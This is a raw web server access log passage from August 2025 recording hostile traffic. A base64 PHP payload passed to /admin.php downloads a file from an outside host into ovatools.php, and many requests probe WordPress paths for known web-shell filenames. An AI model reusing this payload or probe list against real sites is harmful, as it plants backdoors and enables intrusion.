/admin.php?action=beindex&password=sem2023&aver=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg==&fileplus=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg==&checkstring=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ292YXRvb2xzLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL3VjZG8uZ3JvdXAvd3AtYWRtaW4vdS50eHQnKSkgPyBwcmludCAnc3VjY2Vzc2Z1bGx5ICcgOiBwcmludCAnRXJyb3InOyA/Pg== HTTP/1.1" 301 881 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:49 -0400] "GET /ovatools.php HTTP/1.1" 301 243 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:31:49 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 260 "-" "python-requests/2.32.4" 68.183.245.101 - - [16/Aug/2025:04:39:37 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:04:39:37 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:04:39:37 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:04:39:38 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 69.171.231.2 - - [16/Aug/2025:04:48:39 -0400] "GET /robots.txt HTTP/1.1" 301 241 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 68.183.245.101 - - [16/Aug/2025:04:53:56 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:04:53:56 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:04:53:56 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:04:53:56 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:05:10:07 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:05:10:07 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:05:10:07 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:05:10:07 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:05:24:29 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:05:24:29 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:05:24:29 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:05:24:29 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 4.43.184.114 - - [16/Aug/2025:05:30:38 -0400] "GET / HTTP/1.0" 301 231 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru)" 128.199.106.124 - - [16/Aug/2025:05:33:33 -0400] "GET /simple.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:35 -0400] "GET /wp-content/plugins/press/wp-class.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:36 -0400] "GET /fm1.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:41 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:41 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:42 -0400] "GET /cong.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:44 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 277 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:45 -0400] "GET /wp-content/plugins/envato-market/inc/class-envato-market-api.php HTTP/1.1" 301 295 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:48 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:48 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:49 -0400] "GET /million.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:49 -0400] "GET /million.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:49 -0400] "GET /404.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:50 -0400] "GET /404.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:50 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:51 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:51 -0400] "GET /ioxi2.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:52 -0400] "GET /ioxi2.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:52 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:53 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:53 -0400] "GET /4pric.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:54 -0400] "GET /4pric.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:54 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:55 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:55 -0400] "GET /oxi-rex.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:56 -0400] "GET /oxi-rex.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:56 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:57 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:57 -0400] "GET /updates.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:58 -0400] "GET /updates.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:58 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:59 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:59 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:33:59 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:00 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:00 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:01 -0400] "GET /ioxi-rex4.php7 HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:02 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:02 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:03 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 279 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:04 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 282 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:04 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:05 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:07 -0400] "GET /images/mar.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:08 -0400] "GET /m4r1ju4n4.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:09 -0400] "GET /marijuana.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:09 -0400] "GET /wp-admin/css/colors/coffee/mari.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:10 -0400] "GET /wp-admin/css/colors/coffee/marijuana.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:11 -0400] "GET /wp-admin/css/colors/maro.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:11 -0400] "GET /wp-admin/css/mari.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:12 -0400] "GET /wp-content/plugins/owfsmac/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:14 -0400] "GET /wp-admin/css/maro.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:15 -0400] "GET /wp-admin/includes/mari.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:15 -0400] "GET /wp-admin/maint/mari.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:16 -0400] "GET /wp-admin/mari.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:17 -0400] "GET /wp-content/mari.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:18 -0400] "GET /wp-content/plugins/aryabot/mari.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:19 -0400] "GET /wp-content/plugins/aryabot/mar.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:20 -0400] "GET /wp-content/plugins/owfsmac/maro.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:05:34:21 -0400] "GET /wp-includes/mari.php HTTP/1.1" 301 251 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 68.183.245.101 - - [16/Aug/2025:05:40:10 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:05:40:10 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:05:40:10 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:05:40:10 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 167.172.73.113 - - [16/Aug/2025:05:40:39 -0400] "GET /dental-tourism/teeth-implant/wp-login.php HTTP/1.1" 301 276 "-" "Mozilla/5.0" 68.183.245.101 - - [16/Aug/2025:05:54:04 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:05:54:04 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:05:54:04 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 144.126.240.247 - - [16/Aug/2025:05:54:04 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 68.183.245.101 - - [16/Aug/2025:06:09:18 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 86.8.204.43 - - [16/Aug/2025:06:09:18 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Mobile/15E148 Safari/604.1" 206.189.247.132 - - [16/Aug/2025:06:09:18 -0400] "GET /send.php HTTP/1.1" 301 239 "-" "Mozilla/5.0 